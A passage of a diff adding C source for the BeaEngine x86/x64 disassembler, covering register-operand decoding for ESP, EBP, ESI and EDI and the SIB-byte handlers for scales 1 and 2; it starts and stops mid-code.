(*pMyArgument).ArgMnemonic+i, Registers8Bits[3+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+8]; + (*pMyArgument).ArgSize = 8; + } + else { + if (GV.REX.state == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[3+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS8BITS[3+0]; + (*pMyArgument).ArgSize = 8; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[3+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+0]; + (*pMyArgument).ArgSize = 8; + } + } + } +} + + + +/* ======================================= + * ModRM_3 + * ======================================= */ +void __bea_callspec__ _rESP(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + int i = 0; + GV.MemDecoration = 0; + if (GV.MMX_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[4+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+MMX_REG+REGS[4+0]; + (*pMyArgument).ArgSize = 64; + return; + } + + if (GV.SSE_ == 1) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[4+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[4+8]; + (*pMyArgument).ArgSize = 128; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[4+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[4+0]; + (*pMyArgument).ArgSize = 128; + } + return; + } + if (GV.OperandSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[4+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+8]; + (*pMyArgument).ArgSize = 64; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[4+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+0]; + (*pMyArgument).ArgSize = 64; + } + } + else if (GV.OperandSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[4+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+8]; + (*pMyArgument).ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[4+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+0]; + (*pMyArgument).ArgSize = 32; + } + } + else if (GV.OperandSize == 16) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[4+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+8]; + (*pMyArgument).ArgSize = 16; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[4+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+0]; + (*pMyArgument).ArgSize = 16; + } + } + else if (GV.OperandSize == 8) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[4+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+8]; + (*pMyArgument).ArgSize = 8; + } + else { + if (GV.REX.state == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[4+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS8BITS[4+0]; + (*pMyArgument).ArgPosition = HighPosition; + (*pMyArgument).ArgSize = 8; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[4+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+0]; + (*pMyArgument).ArgSize = 8; + } + } + } +} + + + +/* ======================================= + * ModRM_3 + * ======================================= */ +void __bea_callspec__ _rEBP(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + int i = 0; + GV.MemDecoration = 0; + if (GV.MMX_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[5+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+MMX_REG+REGS[5+0]; + (*pMyArgument).ArgSize = 64; + return; + } + + if (GV.SSE_ == 1) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[5+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[5+8]; + (*pMyArgument).ArgSize = 128; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[5+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[5+0]; + (*pMyArgument).ArgSize = 128; + } + return; + } + if (GV.OperandSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[5+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+8]; + (*pMyArgument).ArgSize = 64; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[5+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+0]; + (*pMyArgument).ArgSize = 64; + } + } + else if (GV.OperandSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[5+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+8]; + (*pMyArgument).ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[5+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+0]; + (*pMyArgument).ArgSize = 32; + } + } + else if (GV.OperandSize == 16) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[5+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+8]; + (*pMyArgument).ArgSize = 16; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[5+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+0]; + (*pMyArgument).ArgSize = 16; + } + } + else if (GV.OperandSize == 8) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[5+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+8]; + (*pMyArgument).ArgSize = 8; + } + else { + if (GV.REX.state == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[5+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS8BITS[5+0]; + (*pMyArgument).ArgPosition = HighPosition; + (*pMyArgument).ArgSize = 8; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[5+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+0]; + (*pMyArgument).ArgSize = 8; + } + } + } +} + + + +/* ======================================= + * ModRM_3 + * ======================================= */ +void __bea_callspec__ _rESI(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + int i = 0; + GV.MemDecoration = 0; + if (GV.MMX_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[6+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+MMX_REG+REGS[6+0]; + (*pMyArgument).ArgSize = 64; + return; + } + + if (GV.SSE_ == 1) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[6+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[6+8]; + (*pMyArgument).ArgSize = 128; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[6+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[6+0]; + (*pMyArgument).ArgSize = 128; + } + return; + } + if (GV.OperandSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[6+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+8]; + (*pMyArgument).ArgSize = 64; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[6+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+0]; + (*pMyArgument).ArgSize = 64; + } + } + else if (GV.OperandSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[6+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+8]; + (*pMyArgument).ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[6+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+0]; + (*pMyArgument).ArgSize = 32; + } + } + else if (GV.OperandSize == 16) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[6+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+8]; + (*pMyArgument).ArgSize = 16; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[6+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+0]; + (*pMyArgument).ArgSize = 16; + } + } + else if (GV.OperandSize == 8) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[6+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+8]; + (*pMyArgument).ArgSize = 8; + } + else { + if (GV.REX.state == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[6+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS8BITS[6+0]; + (*pMyArgument).ArgPosition = HighPosition; + (*pMyArgument).ArgSize = 8; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[6+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+0]; + (*pMyArgument).ArgSize = 8; + } + } + } +} + + + +/* ======================================= + * ModRM_3 + * ======================================= */ +void __bea_callspec__ _rEDI(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + int i = 0; + GV.MemDecoration = 0; + if (GV.MMX_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[7+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+MMX_REG+REGS[7+0]; + (*pMyArgument).ArgSize = 64; + return; + } + + if (GV.SSE_ == 1) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[7+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[7+8]; + (*pMyArgument).ArgSize = 128; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[7+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[7+0]; + (*pMyArgument).ArgSize = 128; + } + return; + } + if (GV.OperandSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[7+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+8]; + (*pMyArgument).ArgSize = 64; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[7+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+0]; + (*pMyArgument).ArgSize = 64; + } + } + else if (GV.OperandSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[7+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+8]; + (*pMyArgument).ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[7+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+0]; + (*pMyArgument).ArgSize = 32; + } + } + else if (GV.OperandSize == 16) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[7+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+8]; + (*pMyArgument).ArgSize = 16; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[7+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+0]; + (*pMyArgument).ArgSize = 16; + } + } + else if (GV.OperandSize == 8) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[7+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+8]; + (*pMyArgument).ArgSize = 8; + } + else { + if (GV.REX.state == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[7+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS8BITS[7+0]; + (*pMyArgument).ArgPosition = HighPosition; + (*pMyArgument).ArgSize = 8; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[7+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+0]; + (*pMyArgument).ArgSize = 8; + } + } + } +} + + +/* ======================================= + * + * ======================================= */ +size_t __bea_callspec__ SIB_0(ARGTYPE* pMyArgument, size_t i, PDISASM pMyDisasm) +{ + + /* ========================= Interpret Base */ + size_t j; + if ((GV.BASE_ == 5) && (GV.MOD_ == 0)) { + GV.DECALAGE_EIP += 4; + if (!Security(7, pMyDisasm)) return i; + j = i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) *((UInt32*)(UIntPtr) (GV.EIP_+3))); + #endif + (*pMyArgument).Memory.Displacement = *((UInt32*)(UIntPtr) (GV.EIP_+3)); + + } + else { + + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i += 2; + } + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.BASE_ ]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[GV.BASE_ ]; + i += strlen(Registers64Bits[GV.BASE_ ]); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.BASE_ +8]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[GV.BASE_ +8]; + i += strlen( Registers64Bits[GV.BASE_ +8]); + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.BASE_ ]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[GV.BASE_ ]; + i += strlen( Registers32Bits[GV.BASE_ ]); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.BASE_ +8]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[GV.BASE_ +8]; + i += strlen( Registers32Bits[GV.BASE_ +8]); + } + } + } + /* ======================== Interpret Index */ + + + if (GV.INDEX_ != 4) { + if (GV.SYNTAX_ == ATSyntax) { + if (GV.BASE_ == 5) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(,%"); + #endif + i+=3; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ",%"); + #endif + i+=2; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i+=1; + } + + if (GV.AddressSize == 64) { + if (GV.REX.X_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.INDEX_ ]); + #endif + (*pMyArgument).Memory.IndexRegister = REGS[GV.INDEX_ ]; + i += strlen( Registers64Bits[GV.INDEX_ ]); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.INDEX_ +8]); + #endif + (*pMyArgument).Memory.IndexRegister = REGS[GV.INDEX_ +8]; + i += strlen( Registers64Bits[GV.INDEX_ +8]); + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.X_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.INDEX_ ]); + #endif + (*pMyArgument).Memory.IndexRegister = REGS[GV.INDEX_ ]; + i += strlen( Registers32Bits[GV.INDEX_ ]); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.INDEX_ +8]); + #endif + (*pMyArgument).Memory.IndexRegister = REGS[GV.INDEX_ +8]; + i += strlen( Registers32Bits[GV.INDEX_ +8]); + } + } + } + (*pMyArgument).Memory.Scale = 1; + if ((GV.SYNTAX_ == ATSyntax) && ((GV.BASE_ != 5) || (GV.INDEX_ != 4))) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + #endif + i++; + } + return i; +} + +/* ======================================= + * + * ======================================= */ +size_t __bea_callspec__ SIB_1(ARGTYPE* pMyArgument, size_t i, PDISASM pMyDisasm) +{ + size_t j; + /* ========================= Interpret Base */ + + if ((GV.BASE_ == 5) && (GV.MOD_ == 0)) { + GV.DECALAGE_EIP += 4; + if (!Security(7, pMyDisasm)) return i; + j = i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) *((UInt32*)(UIntPtr) (GV.EIP_+3))); + #endif + (*pMyArgument).Memory.Displacement = *((UInt32*)(UIntPtr) (GV.EIP_+3)); + } + else { + + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i += 2; + } + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.BASE_ ]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[GV.BASE_ ]; + i += strlen( Registers64Bits[GV.BASE_ ]); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.BASE_ +8]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[GV.BASE_ +8]; + i += strlen( Registers64Bits[GV.BASE_ +8]); + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.BASE_ ]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[GV.BASE_ ]; + i += strlen( Registers32Bits[GV.BASE_ ]); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.BASE_ +8]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[GV.BASE_ +8]; + i += strlen( Registers32Bits[GV.BASE_ +8]); + } + } + } + /* ======================== Interpret Index */ + + if (GV.INDEX_ != 4) { + if (GV.SYNTAX_ == ATSyntax) { + if (GV.BASE_ == 5) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(,%"); + #endif + i+=3; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ",%"); + #endif + i+=2; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i+=1; + } + + if (GV.AddressSize == 64) { + if (GV.REX.X_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.INDEX_ ]); + #endif + (*pMyArgument).Memory.IndexRegister = REGS[GV.INDEX_ ]; + i += strlen( Registers64Bits[GV.INDEX_ ]); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.INDEX_ +8]); + #endif + (*pMyArgument).Memory.IndexRegister = REGS[GV.INDEX_ +8]; + i += strlen( Registers64Bits[GV.INDEX_ +8]); + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.X_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.INDEX_ ]); + #endif + (*pMyArgument).Memory.IndexRegister = REGS[GV.INDEX_ ]; + i += strlen( Registers32Bits[GV.INDEX_ ]); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.INDEX_ +8]); + #endif + (*pMyArgument).Memory.IndexRegister = REGS[GV.INDEX_ +8]; + i += strlen( Registers32Bits[GV.INDEX_ +8]); + } + } + (*pMyArgument).Memory.Scale = 2; + if (GV.SYNTAX_ == ATSyntax) { + if ((GV.BASE_ != 5) || (GV.INDEX_ != 4)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ",2"); + #endif + i+=2; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "*2"); + #endif + + i+=2; + } + } + if ((GV.SYNTAX_ == ATSyntax) && ((GV.BASE_ != 5) || (GV.INDEX_ != 4))) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + #endif + i++; + } + return i; +} + +/* ======================================= + * + * ======================================= */ +size_t __bea_callspec__ SIB_2(ARGTYPE* pMyArgument, size_t i, PDISASM pMyDisasm) +{ + size_t j; + /* ========================= Interpret Base */ + + if ((GV.BASE_ == 5) && (GV.MOD_ == 0)) { + GV.DECALAGE_EIP += 4; + if (!Security(7, pMyDisasm)) return i; + j = i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) *((UInt32*)(UIntPtr) (GV.EIP_+3))); + #endif + (*pMyArgument).Memory.Displacement = *((UInt32*)(UIntPtr) (GV.EIP_+3)); + } + else { + + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i += 2; + } + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.BASE_ ]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[GV.BASE_ ]; + i += strlen( Registers64Bits[GV.BASE_ ]); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.BASE_ +8]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[GV.BASE_ +8]; + i += strlen( Registers64Bits[GV.BASE_ +8]); + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.BASE_ ]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[GV.BASE_ ]; + i += strlen( Registers32Bits[GV.BASE_ ]); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.BASE_ +8]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[GV.BASE_ +8]; + i += strlen( Registers32Bits[GV.BASE_ +8]); + } + } + } + /* ======================== Interpret Index */ + + if (GV.INDEX_ != 4) { + if (GV.SYNTAX_ == ATSyntax) { + if (GV.BASE_ == 5) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(,%"); + #endif + i+=3; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ",%"); + #endif + i+=2; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i+=1; + } + + if (GV.AddressSize == 64) { + if (GV.REX.X_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.INDEX_ ]); + #endif + (*pMyArgument).Memory.IndexRegister = REGS[GV.INDEX_ ]; + i += strlen( Registers64Bits[GV.INDEX_ ]); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.INDEX_ +8]); + #endif + (*pMyArgument).Memory.IndexRegister = REGS[GV.INDEX_ +8]; + i += strlen( Registers64Bits[GV.INDEX_ +8]); + } + } + else if (GV.AddressSize == 